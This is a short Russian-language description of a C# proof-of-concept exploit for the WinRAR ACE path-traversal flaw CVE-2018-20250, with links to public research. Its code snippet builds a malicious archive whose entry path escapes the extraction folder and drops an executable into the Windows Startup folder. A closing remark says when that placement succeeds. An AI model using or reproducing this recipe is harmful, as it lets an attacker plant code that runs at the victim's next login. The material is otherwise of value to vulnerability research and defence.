
Код доказательства концепции на C# для эксплуатации уязвимости в пути извлечения файлов ACE архиватора WinRAR (CVE-2018-20250).
Код концепции (proof of concept) на C# для эксплуатации пути извлечения файлов ACE в WinRAR (CVE-2018-20250).
https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/
InvertedTomato.Crc (можно установить через NuGet) для метода контрольной суммы. Можно использовать любую другую реализацию JAMCRC.
AceVolume av = new AceVolume();
AceFile f = new AceFile(
@"D:\some_file.exe",
@"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"
);
av.AddFile(f);
av.Save("exploit.rar");
Похоже, что извлечение происходит только в папку автозагрузки, когда .rar-файл находится на Рабочем столе или в любой папке того же уровня.